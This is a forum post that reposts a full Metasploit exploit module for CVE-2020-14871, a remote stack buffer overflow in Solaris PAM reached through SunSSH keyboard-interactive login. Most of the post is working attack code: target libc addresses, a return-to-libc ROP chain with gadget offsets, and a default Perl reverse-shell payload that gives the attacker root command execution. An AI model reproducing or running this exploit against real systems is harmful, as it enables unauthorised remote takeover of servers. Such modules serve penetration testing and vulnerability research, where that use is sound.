Jump to content
Kev

Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow

Recommended Posts

This Metasploit module exploits a stack-based buffer overflow in the Solaris PAM library's username parsing code, as used by the SunSSH daemon when the keyboard-interactive authentication method is specified. Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox, VMware Fusion, and VMware Player. Bare metal untested. Your addresses may vary.

 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow in the Solaris PAM
          library's username parsing code, as used by the SunSSH daemon when the
          keyboard-interactive authentication method is specified.

          Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox,
          VMware Fusion, and VMware Player. Bare metal untested. Your addresses
          may vary.
        },
        'Author' => [
          'Jacob Thompson', # Analysis
          'Aaron Carreras', # Analysis
          'Jeffrey Martin', # Testing
          'Hacker Fantastic', # PoC
          'wvu' # Exploit
        ],
        'References' => [
          ['CVE', '2020-14871'],
          ['URL', 'https://www.oracle.com/security-alerts/cpuoct2020.html'],
          ['URL', 'https://www.fireeye.com/blog/threat-research/2020/11/critical-buffer-overflow-vulnerability-in-solaris-can-allow-remote-takeover.html'],
          ['URL', 'https://hacker.house/lab/cve-2020-18471/'],
          ['URL', 'https://twitter.com/hackerfantastic/status/1323431512822435841']
        ],
        'DisclosureDate' => '2020-10-20', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Payload' => {
          # https://github.com/illumos/illumos-gate/blob/edd669a7ce20a2f7406e8f00489c426c0690f1bd/usr/src/lib/libpam/pam_framework.c#L615-L617
          'BadChars' => "\x00\x09\x20",
          'Encoder' => 'cmd/perl'
        },
        'Targets' => [
          [
            'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VMware',
            {
              'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',
              'LibcBase' => 0xfeb90000
            }
          ],
          [
            'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox',
            {
              'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',
              'LibcBase' => 0xfeb80000
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_perl',
          'SSH_TIMEOUT' => 2,
          'CheckModule' => 'auxiliary/scanner/ssh/ssh_version'
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    # Run auxiliary/scanner/ssh/ssh_version
    checkcode = super

    return checkcode unless checkcode == CheckCode::Detected

    unless target['Ident'] == checkcode.details[:ident]
      return CheckCode::Safe("#{target.name} is an incompatible target.")
    end

    CheckCode::Appears("#{target.name} is a compatible target.")
  end

  def exploit
    print_status("Exploiting #{target.name}")

    ssh_client_opts = ssh_client_defaults.merge(
      port: rport,
      auth_methods: ['keyboard-interactive'],
      password: ret2libc, # HACK: This is really the username prompt on Solaris
      timeout: datastore['SSH_TIMEOUT']
    )

    ssh_client_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    print_status("Yeeting #{datastore['PAYLOAD']} at #{peer}")

    # Empty initial username
    Net::SSH.start(rhost, '', ssh_client_opts)
  rescue Net::SSH::AuthenticationFailed
    print_error(CheckCode::Safe.message)
  rescue Net::SSH::Disconnect
    print_warning('Disconnected, target selection may be incorrect!')
  rescue Net::SSH::ConnectionTimeout
    # Do nothing on success
  end

  # XXX: No ASLR, but libc base changes...
  def ret2libc
    buf = rand_text(516)
    buf << p32(target['LibcBase'] + 0x23904) # add esp, 8; ret
    buf << rand_text(4)
    buf << p32(0x08040101) # ecx
    buf << p32(0x0805ba07) # pop ecx; pop edx; pop ebp; ret
    buf << p32(target['LibcBase'] + 0x256d0) # exit(3)
    buf << p32(target['LibcBase'] + 0x91edf) # system(3)
    buf << rand_text(4)
    buf << p32(target['LibcBase'] + 0xae3f1) # push esp; and al, 0; push ecx; push edx; ret
    buf << payload.encoded
  end

  def p32(addr)
    [addr].pack('V')
  end

end

 

Source

  • Like 1
  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...